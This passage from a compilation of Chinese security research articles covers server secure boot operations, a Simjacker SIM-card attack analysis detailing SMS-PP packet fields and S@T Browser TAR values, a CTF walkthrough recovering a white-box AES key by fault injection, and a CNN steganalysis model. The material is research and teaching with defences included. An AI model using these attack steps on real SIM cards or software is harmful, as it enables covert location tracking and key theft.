中，应该如何设计并导入证书？如何解决证书的过期与更新问题？如何保障相关运维工具的兼容性？

如何确保上游厂商提供固件签名的正确性？如何评估启用方案之后对于正常业务的影响？这往往需要

联动厂商、运维团队、业务团队各方进行适配改造与兼容性验证。

此外，TPM 2.0等方案借助哈希算法进行度量，如何保证运营过程出现异常的可解释性？使用哈希

度量进行校验，也意味着需要 Golden Key作为基线进行对比参照，那么如何建立这样的基线，并在

BIOS合法更新时进行基线的同步更新，也是安全运营过程中需要关注的重点。

又比如，在进行实时 BIOS监控的过程中，如何利用离群分析和威胁情报进行数据关联，来识别高

级入侵？如何消除由于厂商 BIOS研发差异性而引起的监控误报？监控策略的普适性需要结合运营收

敛，并得以不断优化。

14.7 6.写在最后

硬件安全防护的核心任务是实现安全启动，从而建设可信的服务器系统。腾讯安全平台部在服务器硬

件安全体系建设方面，也在积极地开展方案研究、设计与部署应用。

目前，安平正协同公司服务器与供应链管理部、云产品部、云鼎实验室等多部门，并与上游多家供

应链厂商的密切合作，力图打造国内首个服务器安全启动成规模部署用例，并借助服务器硬件安全规

范，把控厂商供应链安全水平，提升公司研发环境与云上业务对于 UEFI Bootkit、供应链攻击等底层

安全威胁的免疫能力。

此外，腾讯云推出的 ‘‘星星海’’自研服务器由安全平台部主导进行安全能力评估建设，目前已具备

可信启动的硬件防护能力。未来，安全平台部将会持续在这个领域进行相关研发和部署。

现阶段，在不进行硬件结构改造的前提下，有效整合现有防护技术，对于企业硬件安全水平的提

升，不失为一种可行的解决思路。Google Titan是下一代硬件安全厂商方案的标杆之一，虽然存在物

理制造透明性、厂商驱动等局限，但在防护架构、实时监控、侧信道攻击防御等设计层面都有着重要

的参考价值。

此外，硬件安全防护与传统的 OS层防护一样，依赖运营质量的加持。只有充分落实对上游厂商的

管控、自动化安全基线的建设、数据分析下的误报优化等关键环节，才能在这场关乎信任的攻防对抗

中，立于不败之地。
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作者：殷文旭@360安全研究院独角兽安全团队

来源：https://www.anquanke.com/post/id/188110

15.1 一、摘要

Simjacker及紧随其后公开的WIB攻击重新引起了各界对 SIM卡安全的关注。现代 SIM卡本质是由软

件和硬件组成的计算机。硬件部分，各个引脚分别实现供电和通信；软件部分，安装了 SIM, USIM,

S@T Browser等应用，可以与手机、网络交互，实现各种功能。Simjacker攻击利用部分运营商发行的

SIM卡中 S@T Browser对收到的消息有效性不做校验这个安全配置错误，实现对目标远程定位等攻

击。综合各方信息，我们发现 Simjacker的攻击手法并非新颖，影响范围也相对有限。

15.2 二、事件背景

2019 年 9 月 12 日，AdaptiveMobile Security 公布了一种针对 SIM 卡 S@T Browser 的远程攻击方式：

Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标，危害较大。

根据 AdaptiveMobile Security在 2019年 10月 3日公布的全球受 Simjacker攻击影响的地图可见，

已发现的受该漏洞影响的 SIM卡主要集中在拉丁美洲。

201



安全研究 Simjacker技术分析报告

15.3 三、攻击原理

据 AdaptiveMobile Security称：“The issue is that in affected operators, the SIM cards do not check the origin

of messages that use the S@T Browser, and SIMs allow data download via SMS.”

15.3.1 1.条件一

SIM卡不检查使用 S@T Browser的短信的来源有效性；
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GSM时代，SIM卡是硬件和软件的组合。UMTS时代，SIM的含义发生了变化：SIM仅指软件部

分，而硬件部分称为 UICC。UMTS引入 USIM应用提供双向鉴权等功能，提升了安全性。与 USIM

应用类似，Simjacker攻击的 S@T Browser也只是 UICC上的诸多应用之一。

理论上，与 S@T Browser直接交互的是 S@T Gateway，后者通常由运营商控制，二者通常使用短

信交互；实际上，任何普通手机号码都可以尝试向另一个号码发送 S@T Browser相关的短信，由运营

商决定是否将其过滤掉，目前大部分运营商似乎不会过滤，因为正常情况下，收到短信的号码会对短

信内容鉴权，普通人没有目标号码的鉴权密钥，因此发送的此类短信通常不会造成威胁；此外，SIM

卡也可以选择只信任特定号码发来的这类短信。

总之，Simjacker攻击需要满足的第一个条件是：运营商和 SIM卡不过滤与 S@T Browser相关的短

信，保证 Payload可以送达目标 Application: S@T Browser.

15.3.2 2.条件二

SIM卡允许通过短信下载数据；

USIM Application Toolkit (USAT)是 UICC中规范应用与外界交互行为的标准，通常用来提供增值

服务，如早期的手机银行。其中应用与手机ME交互使用 Proactive Commands和 Event Download两种

形式。

“A proactive command is a command from the SIM application to the handset asking it to do something on

your behalf. It is called proactive because, uncharacteristically, the SIM is initiating the communication.”[7]

Proactive Commands是指应用 ‘‘主动’’发起的与手机交互的命令，截至 2001年底，共有 31种，其中包

括 DISPLAY TEXT，PROVIDE LOCAL INFORMATION(可以向手机查询当前所处小区 Cell ID)等，但

依然属于 APDU(Application Protocol Data Unit)的范畴，手机ME依然是 APDU命令的发起方，UICC

Application 是命令的响应方，只能在 ME 向其发送普通 APDU 命令时才能 ‘‘主动’’ 发送 Proactive

Commands。

为了解决这个不便，“The SIM can register for events that it wants to be told about. It uses the SET UP

EVENT LIST proactive command to do this.”[7] “One of the most useful event downloads is SMS-PP. It is a

way of communicating directly with the SIM using SMS.”[7]

SMS-PP Event Download即 SMS-PP [Data] Download，手机收到 SMS-PP类型的短信后，该事件被

触发，短信被直接发送给 UICC上的某个 Application，由其处理短信内容，在此期间用户完全不知情。

与 SMS Peer to Peer(SMS-PP)对应的是 SMS Cell Broadcast(SMS-CB)。前者即普通号码日常发送的短

信的行为，后者只有运营商的短信中心 SMS center (SMSC)才能操作。

Simjacker攻击中，需要 SIM卡支持 STK标准的 Event Download，这样攻击者发送的特殊格式短

信可以顺利触发 SMS-PP Event Download，从而将 Payload传递给 S@T Browser完成远程定位等攻击。

15.3.3 3.原理总结

至此，Simjacker的攻击路线就很清楚了：
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1. 攻击者使用普通手机 USIM卡，向攻击目标发送 SMS-PP类型的短信，且目标应用是 UICC上的

S@T Browser；

2. 攻击目标收到 SMS-PP类型的短信后，SMS-PP Event Download事件触发，手机将短信直接发送

给 UICC上的 S@T Browser应用；

3. 与 Proactive Commands中的诸多命令类似，S@T Browser也支持多种命令（Byte Codes），可以

获取手机当前小区的 Cell ID或主动发送短信。

15.4 四、Payload构造

Simjacker攻击使用的短信与我们日常发送的短信格式和内容都不同，但熟悉了格式之后，使用常见的

上网卡或部分型号的手机，我们每个人都可以发送这种短信，其整体结构如下图所示。
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3GPP TS 23.040即早期的 GSM 03.40，规定了包括我们日常使用的短信在内的所有短信格式。3GPP

TS 31.115即早期的 GSM 03.48，则规定了 Command Packet这种特殊格式的短信。该类短信不仅在与

S@T Browser应用通信时会用到，运营商对 SIM卡进行远程配置等 OTA操作时亦使用。

15.4.1 1.短信格式

GSM 03.40标准规定了 GSM网络下短信传输协议 SM-TP中 TPDU的格式。通常我们用到的 TPDU

类型有两种：SMS-SUBMIT 和 SMS-DELIVER。手机 MS 发给 SC(Mobile Switching Centre ) 的是

SMS-SUBMIT，SC发给MS的是 SMS-DELIVER。

SMS-SUBMIT类型的 TPDU通常使用的字段如下：

字段 名称 长度 备注

TP-

MTI

Message Type

Indicator

2bits SMS-SUBMIT 01

TP-

RD

Reject Duplicates 1 bit Set to 0

TP-

VPF

Validity Period Format 2 bits Set to 00(not present)

TP-

SRR

Status Report Request 1 bit Set to 0

TP-

UDHI

User Data Header

Indicator

1 bit Set to 1(GSM 03.48)

TP-

RP

Reply Path 1 bit Set to 0

TP-

MR

Message Reference 1 octet Set to 0x00

TP-

DA

Destination Address 2–12 octets Phone number(including country code) length after

0x91: 1octet 0x91Phone number(0xF as padding to

get even)Example: 0x0D91688113325476F8

TP-

PID

Protocol Identifier 1 octet Set to 0x7F(USIM Data download)

TP-

DCS

Data Coding Scheme 1 octet Set to 0xF6 Character Set 8bit dataClass 2

(SIM/USIM-specific)

TP-

UDL

User Data Length 1 octet Number of octets in TP-UD

TP-

UD

User Data given by

TP-UDL
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15.4.2 2.Command Packet

GSM网络中的实体与 SIM卡中的实体通过 GSM 03.48协议实现安全的数据交换。发送方在应用信

息的头部添加 Security Header(Command Header)后得到完整的 (Secured) Command Packet. 接收方根据

Command Header中的指示决定是否发送 (Secured) Response Packet.

SMS-PP是基于 GSM 03.48格式的一种特殊短信，为运营商网络中和 UICC上的 Application之间的

通信提供安全的信道。SMS-PP类型的短信 UDHL为 0x02，IEIa为 0x70(发送)，或 0x71(接收)，IEDLa

为 0x00，后面的字段为 SMS-PP专属的负载内容。

SMS-PP类型的 GSM 03.48 Command Packet字段如下：

字段 名称 长度 备注

UDHL User Data Header Length 1 octet Set to 0x02

IEIa Information Element Identifier a 1 octet Set to 0x70 CPI(Command Packet

Indicator)

IEDLa Information Element Identifier Data

Length a

1 octet Set to 0x00

CPL Command Packet Length 2 octets Number of octets after

CHL Command Header Length 1 octet Number of octets till RC/CC/DS

SPI Security Parameter Indicator 2 octets MSL

KIC Ciphering Key Identifier 1 octet

KID Key Identifier 1 octet

TAR Toolkit Application Reference 3 octets

CNTR Counter 5 octets

PCNTRPadding Counter 1 octet Number of padding octets used for

ciphering at the end of the secured data

RC/CC/DSRedundancy Check / Cryptographic

Checksum / Digital Signature

0/4/8

octet(s)

SD Secured Data CPL –

CHL – 1

1)SPI

SMS-PP Command Packet中比较关键的字段之一是 SPI，长度 2字节，含义如下：
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SIM Alliance 在 Security guidelines for S@T Push [13] 中所说的 Minimum Security Level(MSL) 在

SPI 的第一个字节设置，Cryptographic Checksum(10) + Encryption(1) 的 MSL = 0x06，即 0000 0110；

Cryptographic Checksum(10) + Encryption(1) + Anti-replay Counter(10)的MSL = 0x16，即 0001 0110。

Bit 6设为 1表示目标收到短信后，使用 SMS-SUBMIT而不是普通的 SMS-DELIVER-REPORT发

送 Response。

2)TAR

SIM toolkit applet的 TAR长度为 3个字节，ETSI TS 101 220将其定义为 applet的 AID的第 13、14

和 15个字节。

根据标准，S@T Browser 对应的 TAR 是 0x505348(对应字符串’PSH’) 和 0x534054(对应字符

串’S@T’)。
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15.4.3 3.Response Packet

SMS-PP类型的 GSM 03.48 Response Packet字段如下：

字段 名称 长度 备注

UDHL User Data Header Length 1 octet Set to 0x02

IEIa Information Element Identifier a 1 octet Set to 0x71 RPI(Response Packet

Indicator)

IEDLa Information Element Identifier Data

Length a

1 octet Set to 0x00

RPL Response Packet Length 2

octets

Number of octets following

RHL Response Header Length 1 octet Number of octets till RC/CC/DS

TAR Toolkit Application Reference 3

octets

The same as Command Packet

CNTR Counter 5

octets

PCNTR Padding Counter 1 octet

RSC Response Status Code 1 octet

Integrity

Value

RC/CC/DS Optional

Data Optional

15.5 五、SIM Browsers

在智能手机广泛使用之前，手机上除了打电话、发短信之外的其他联网服务，如手机银行，WAP上网

等，都由运营商直接提供。在 SIM卡上安装应用是扩展手机功能的主要方式之一，这些应用由运营商

开发，通过 OTA远程安装到用户 SIM卡中。一些运营商认为 OTA安装应用的效率较低，于是出现了

SIM Browser，应用从用户的 SIM卡转移到了运营商的服务器上，SIM卡上的 Browser角色就像现代

PC上的浏览器，只负责解析服务器传回的数据，而运营商可以随时增加、修改应用。

“As of mid 2001, there are three SIM microbrowsers: the original one from Across Wireless (now called

Sonera Smarttrust), one originally developed by Gemplus and marketed by all the SIM card manufacturers

under the umbrella of the SIMalliance, and another one called the USAT Interpreter that was wending its way

through the 3GPP standardization process.”[7]

Simjacker攻击利用的 S@T Browser就是上述三种Browser之一，而WIB攻击 [10]则利用 SmartTrust

主导的Wireless Internet Browser(WIB).
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15.5.1 1.SmartTrust Wireless Internet Browser

TAR值：0x000001, 0x000002

客户端：Wireless Internet Browser(WIB)

服务器：Wireless Internet Gateway(WIG)

“All messages have a GSM 03.48 security header.”[8] “The GSM 03.48 Proof of Receipt (PoR) mechanism

is not used.”[8] “By default, if the WIB receives a message with a TAR value of 1, then it came from the WIG

server (pull); if it receives a message with a TAR value of 2, then it came from the WIG client (push).”[7]

15.5.2 2.SIM Alliance S@T Browser

TAR值：0x534054, 0x505348

客户端：S@T Browser

服务器：S@T Gateway

S@T Browser主动发起的连接称为 Pull，S@T Gateway主动发起的连接称为 Push。Simjacker攻击

存在原因是某些运营商的卡将 S@T Browser的MSL设为 0x00，即完全没有任何保护。攻击者以 S@T

Gateway的身份向目标 UICC的 S@T Browser发送 Byte Codes，达到远程定位、发送短信等目的。

15.5.3 3.3GPP USAT Interpreter

“The 3GPP USAT Interpreter originally was supposed to be a merge of the Across Wireless microbrowser and

the SIMalliance microbrowser but it has found a voice of its own in the process. It’s not too far from the truth

to say that it combines some of the best features of its two parents.”[7]

15.6 六、NSA相关工具

在 Simjacker之前，大家对 SIM卡远程攻击的主要印象来自美国国家安全局 NSA旗下 Tailored Access

Operations (TAO) 组织泄露的两款工具：MONKEYCALENDAR 和 GOPHERSET。与 Simjacker 利用

SIM卡的安全配置错误进行远程攻击不同，这两款工具使用的前提是攻击者掌握目标 SIM卡的 OTA

密钥，从而能以合法的发卡运营商身份远程安装攻击程序。

MONKEYCALENDAR和 GOPHERSET两种攻击工具需要运行在目标的 SIM卡上，虽然同样难以

察觉，但相比 Simjacker这种无需安装，直接远程发送控制命令的攻击方式相比，使用门槛较高。
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三者的相同之处在于：

1. 攻击触发都是利用 STK标准中的 Event Download；

2. 具体敏感信息的获取都是利用 STK标准中的 Proactive Command；

3. 都使用短信外发数据。
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15.7 七、防御措施

The SIMalliance在”Security guidelines for S@T Push’’中 recommends to implement security for S@T push

messages. This security can be introduced at two different levels:

1. At the network level, filtering can be implemented to intercept and block the illegitimate binary SMS

messages

2. At the SIM card level, the Minimum Security Level – MSL – attached to the S@T browser in push mode

can force Cryptographic Checksum + Encryption (MSL = 0x06 at least) In such cases where the replay of

legitimate messages could lead to undesirable effects, MSL with Cryptographic Checksum + Encryption

and anti- replay Counter is recommended (e.g. 0x16)

Simjacker攻击存在的根源在于某些运营商的 (U)SIM卡对卡上的某些 Application（如 S@T Browser,

Wireless Internet Browser）的 SPI配置错误（MSL为 0）。如果 SPI配置无误，正常情况下攻击者很难

绕过 GSM 03.48的鉴权、加密。当然，像 S@T Browser, WIB这种目前不再使用的 Application还是建

议运营商通过 OTA将其卸载，以减小攻击面。
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侧信道攻击，从喊 666到入门之——错误注入攻击白盒

作者：backahasten

来源：https://www.anquanke.com/post/id/188340

上文中，我们介绍了有关 Unicorn 的使用，为了避免只造轮子不开车的现象出现，我们就用

Unicorn来亲手攻击一个 AES白盒。

我选取了 CHES 2016竞赛中的 AES白盒，这个白盒非常白，甚至给了源码，代码和程序可以在这

里找到。这个链接还包含里 Writeup，但是其中使用的工具很老了，还是 python2的代码，并且使

用的执行引擎是 PIN，如果是 ARM的安卓 APP里的白盒就没办法了。

我选取了 CHES 2016竞赛中的 AES白盒，这个白盒非常白，甚至给了源码，代码和程序可以在这

里找到。这个链接还包含里 Writeup，但是其中使用的工具很老了，还是 python2的代码，并且使

用的执行引擎是 PIN，如果是 ARM的安卓 APP里的白盒就没办法了。

16.1 啊呜，数学

!!!!!!!!!所有计算均在—---有限域 GF(2ˆ8)!!!!!!!!

在进行白盒破解之前，我们看一下错误注入的原理是什么。

对于 AES128来说，错误注入的目标在第九轮的 MixColumns计算之前，第九轮的 MixColumns计

算之前的数据假设是这个样子的：

假设我们的错误正好命中了第一个字节，则数据流变成了：

之后，数据流会依次进入

MixColumns
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AddRoundKey K9

SubBytes

ShiftRows

AddRoundKey K10

中间的过程就不写了，有兴趣的通过可以自己推一下，如果熟悉 AES的计算过程，不难推算。这

篇文章有详细的推导过程。

最后，AddRoundKey *K*10结束之后输出，应该是这个样子的：

如果成功错误注入的话，会变成这个样子：(其中的 +号表示异或)

以第一个字节为例，我们设：

之后把 O和 O’进行 Xor计算：

得到：

设：

原

式变为：

把剩下 3个字节补齐，得到：
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四个 Y的取值都是 0-255,遍历四个 Y，就可以得到 Z的一个取值范围。得到 Z的取值范围了之后，

可以对应一组 Y。(再说一次，乘法和加法都在 GF(2ˆ8)上)

之后通过关系公式：

推导出一组 K10（0,7,10,13）密钥的值。

这只是错误出现在第一个 Byte的情况，通过多组错误输出，可以唯一的推导所有的 K10,之后通

过密钥扩展算法，推导出 AES的密钥。

这个地方有点绕，我们举个例子：

假设 O13 ˆO’13 = 0x55，我们尝试求一下：
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sbox=(

0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,

0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,

0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,

0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,

0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,

0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,

0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,

0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,

0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,

0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,

0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,

0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,

0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,

0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,

0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,

0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)

a=[]

for y3 in range(256):

# 假设 O13 ^ O’13 = 0x55

a.append(sbox.index(0x55 ^ sbox[i]) ^ y3)

print(a)

计算得到了 256个数，但是由于其中有的数是重复的，所以可以缩小 Z的取值范围。拿到了 Z之

后，就可以推导出对应的 Y，由于 O是已知的，所以可以推出密钥或者缩小密钥的范围。

那么 2Z和 3Z怎么计算？
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这里的 2,3与 Z的关系是有限域中的乘法，所以计算求 Z的时候，并不是简单的除一下就行了，而

是域中的计算。需要涉及到生成多项式 0x11B求逆元的计算。(推荐一本书，密码编码学与网络安

全---原理与实践-第六版，写的很好。)

16.2 实践操作

我没有像参考文章一样用 frida和 idapython去做，这样不太灵活。我使用了 unicorn引擎，一般

来说，白盒 AES算法都会被封装在一个或者连续的几个函数中，这样对于 Unicorn是十分方便的。

我的目标没有选择上文中的 wbDES，它太老了，而且 DES的使用越来越少，我也没有使用参看文

献中的基于 OLLVM的实现，因为 OLLVM混淆之后的 AES也不是严格意义上的白盒，我选用了 CHES

2016 CTF上的一道题。

首先对程序使用 GDB 进行分析，发现程序的 main 函数主要是获取输入和输出，加密过程

chow_aes3_encrypt_wb函数中，在 chow_aes3_encrypt_wb下断点。

(注：我没有使用 github中提供的 Shared object文件，而是使用源码，在makefile中添加了-no-pie

参数，重新编译了一个 executable文件)

之后在函数的执行结束的位置下断点。
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发现程序使用 RSI和 RDI进行传参，RSI保存的指针是输出缓冲区，RDI保存的指针是函数输出

数据的位置。

之后开始栈空间的构建，具体构建的方法和调试请参考上一篇文章。

有错误注入攻击，一定需要能量分析攻击，在针对芯片的攻击中，SPA和 DPA可以提供攻击位置

信息，针对白盒的攻击也差不多，白盒的实现是针对查找表实现的，所以我们首先需要打印出来所有

内存读的位置，这也是为了后续的攻击做准备。在 hook中添加筛选条件：

if access == UC_MEM_READ and size == 1 and address<0xb0000000:

其中，size==1表示每次读取的大小是一个字节，因为AES是以字节为单位进行计算的;address<0xb0000000

是为了排除程序在操作栈中数据时的误触发。
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（左边数值是地址值的十进制表示，实际是从 0x61a800(6400000)到 0x6acfc0(7000000)）

这个图可以看出，查找表随着时间是从高地址向低地址分布的。

接下来，我们开始 hook并错误注入，我们需要注入的是第九轮，也就是说，在时间上是比较靠后

的位置，在这个过程中，我们需要不停的改变注入的位置，通过分析错误输出，来了解是否注入对了

地方，如果正好输出了四个错误，并且位置符合，就是注入对了地方;如果错误的位置过多，表示注入

的靠前了，如果错误的位置只有一个，说明注入的位置靠后了。

我们拿到了符合条件的错误输出值：

628caf41f9a2f7a51c57b9e23e137365

628cf341f961f7a5c157b9e23e137366

628c2f41f91ff7a5b557b9e23e13730e

628c1541f9caf7a56e57b9e23e1373b8

628c6e41f9b0f7a5d857b9e23e137323

628c1b41f961f7a5c457b9e23e1373aa

628c3d41f93ff7a57857b9e23e13730e

628c1e41f902f7a5bb57b9e23e13732b

628c8c41f9e4f7a5a757b9e23e137319

628ca341f948f7a56057b9e23e1373a2

628cc241f950f7a50f57b9e23e137319

628cbc41f9aef7a58157b9e23e13735a

628c4e41f9a1f7a50057b9e23e1373e3

628ccf41f914f7a57f57b9e23e137317

628cbc41f9aef7a58157b9e23e13735a

220



安全研究 侧信道攻击，从喊 666到入门之——错误注入攻击白盒

628caf4af9a286a51cf9b9e2d7137365

628cafd9f9a22aa51c3bb9e205137365

628cafd9f9a22aa51c3bb9e205137365

628cafd9f9a22aa51c3bb9e205137365

628caf85f9a27aa51cb4b9e2d4137365

628cafc2f9a245a51ce9b9e2f4137365

628cafd9f9a22aa51c3bb9e205137365

f88caf41f9a2f7441c5782e23ef47365

6c8caf41f9a2f7c71c57c6e23e297365

a68caf41f9a2f7781c57e6e23eb97365

828caf41f9a2f7391c5739e23ef27365

d48caf41f9a2f7931c57f7e23e8b7365

3d8caf41f9a2f7061c5736e23ee87365

6236af4122a2f7a51c57b9b83e138f65

62faaf41bba2f7a51c57b9483e133365

6236af4122a2f7a51c57b9b83e138f65

6296af41b6a2f7a51c57b9f93e138a65

6272af41b3a2f7a51c57b9493e13bb65

62f4af41ada2f7a51c57b9ef3e13bd65

6272af41b3a2f7a51c57b9493e13bb65

62c5af4167a2f7a51c57b93e3e133f65

拿到足够多的错误输出后，我使用了工具 https://github.com/SideChannelMarvels/JeanGrey/tree/master/phoenixAES

进行上述的数学计算推导过程

得到第 10轮密钥之后，使用工具 aes_keyschedule推算出 AES-128的密钥。

16.3 参考：

[1]https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html

[2]https://bbs.pediy.com/thread-254042.htm

ps：如果你对小米安全中心有任何建议，可通过 QQ：3022560938联系我们
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作者：nggq_HYWZ

来源：https://www.anquanke.com/post/id/192573

17.1 前言

隐写术本来被用于隐藏机密信息，但自从恐怖分子利用隐写术向数字图像中嵌入秘密指令发动美国双

子塔的袭击（即著名的 “9.11’’事件）后，人们意识到了检测并分析隐写信息的重要性，目前隐写分析

还处于检测载体中是否隐藏有机密信息的阶段。本文分析目前研究情况后，提出了一个隐写分析的卷

积神经网络模型，它具有良好的隐写分析性能。

17.2 隐写术

图像隐写术是一门通过修改图像像素或频率系数在图像中隐藏秘密消息的技术和科学。隐写术最重要

的要求是不可检测性，这就要求隐写方法将消息嵌入到数字载体时，生成的对象在视觉和统计上类似

于原始载体。

隐写算法的一个重大分支是空间域隐写算法。在空间域方面，隐写算法的特点是直接改变图像的

某些人眼难以察觉的像素点。典型的是最低有效位（LSB）替换，它将消息嵌入图像像素的最低有效

位，但极易被检测。LSB替换可以被看作是非自适应隐写算法，这意味着数据隐藏后的修改像素将随

机分布在整个图像上。然而，根据已有知识可知，位于纹理区域中的像素具有比平滑区域中的像素更

好的隐藏属性，这一事实已被用于目前流行的自适应隐写算法中。

17.2.1 自适应隐写算法

自适应隐写算法自动识别图像内容的纹理区域隐藏秘密信息。例如边缘自适应隐写术（EA）根据

两个相邻像素之间的差异将秘密消息嵌入边缘区域。目前流行的自适应隐写算法有 HUGO、HILL、

MiPOD、S-UNIWARD和等。它们在最小化失真函数的框架下进行了设计，即首先为载体图像中的每

个像素分配嵌入成本，再根据嵌入成本定义失真函数，最后通过某些编码技术使失真函数最小化来获

得生成的载密图像。实践证明，隐写算法的安全性越来越强，对它们的检测难度越来越高。
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17.3 隐写分析

传统隐写分析算法主要基于手工提取的特征，常用的特征提取方式有小波直方图特征、马尔可夫特

征、离散余弦变换系数的共生矩阵特征等。空域富模型 (SRM)凭借其优越的特征提取方式被公认为传

统隐写分析领域最成功的空域隐写检测算法。该模型主要针对相邻像素相关性设计，通过 78个滤波

器获取相邻像素残差，在此基础上产生高维特征向量。该模型能够检测三个空域算法，分别是，基于

内容自适应隐藏的 HUGO算法，基于边缘自适应的 EA算法，和基于最优三元编码的 ś1调整类算法。

SRM的详细内容如下。

17.3.1 SRM

上图是 SRM隐写分析特征的提取方法。首先通过高通滤波器获取残差图像子模型，再通过量化、

取整和截断提取每一幅残差图像子模型的四阶共生矩阵，最后将这些共生矩阵的元素重新排列构成隐

写分析特征。

SRM设计了丰富多样的空域高通滤波器，并使用这些滤波器对图像进行滤波，结果得到丰富多样

的残差图像子模型，这些残差图像子模型可看做是高通滤波后的图像，主要包含了图像的高频成分。

SRM使用丰富多样的残差图像子模型主要有两个原因，第一个是残差在很大程度上抑制了图像内容，

减小了动态变化的范围，使得统计特性更加紧凑和健壮。第二个是对图像的某个像素的隐写嵌入改动

可能会导致某些残差图像相应位置的相邻像素相关性发生变化，但未必能导致另一些残差图像的相应

位置的相邻像素相关性发生变化，单独使用某一幅残差图像不能全面地反映所有可能的隐写嵌入改动

引起的图像相邻像素相关性变化。

因此，SRM设计的丰富残差图像子模型能更全面地感知隐写引起的图像相邻像素相关性的变化。

SRM的残差图像子模型公式如下：
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残差主要包括一阶、二阶、三阶、SQUARE、EDGE3x3与 EDGE5x5六类残差。如下为经典的残差

和高通滤波器。水平、垂直、对角线、反对角线方向的残差表示为 Rh,Rv,Rd,Rm。
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17.3.2 线性残差

对于线性残差而言，上图已给出一阶、二阶、三阶线性残差的计算方式，以此类推，不难发现，SQUARE、

EDGE3x3与 EDGE5x5线性残差只是在计算中使用了更多方向的邻域像素。SQUARE、EDGE3x3与

EDGE5x5高通滤波器如上图。在实践中，线性残差的计算方法通过分配率运算可转换为图像和高通

滤波器的卷积运算，如下：

i,j表示待求取残差的像素位置，r、c表示运算的像素点位置。

17.4 隐写分析模型

近几年，随着 GPU（Graphics Processing Unit）并行计算方式和深度学习的发展，可以模拟手工提取特

征的方法从数据本身学习隐写信息。

本文利用了深度学习的技术模拟了 SRM中线性残差的手工提取方法进行隐写信息的检测与分析。

设计的基本网络模型结构如下。

225



安全研究 空域隐写术检测分析

模型接收大小 256Œ256的图像，输出两类标签。CNN由许多层组成，其中包括一个图像预处理

层、八个卷积层用于特征提取，一个全连接层用于结果分类。

17.4.1 隐写分析模型重点部分

在图像预处理层中，本人模拟了 SRM中线性残差的手工提取方法。具体来说就是设计了一个通道数

为 30、大小为 5Œ5的矩阵作为卷积核，使用 SRM中收集的 30个 HPFs初始化此卷积核，然后将此卷

积核与原图像做卷积运算，即得到线性残差信息，它包含了丰富的隐写信息。本人选取的 30个高通

滤波器为：

[[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 1. 0. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 1. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. -1. 1. 0.]
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[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 0. 0. 1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 0. 1. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 1. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 1. -1. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 1. 0. 0. 0.]

[ 0. 0. -1. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 1. 0. 0.]

[ 0. 0. -2. 0. 0.]
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[ 0. 0. 1. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 1. 0.]

[ 0. 0. -2. 0. 0.]

[ 0. 1. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ 0. 1. -2. 1. 0.]

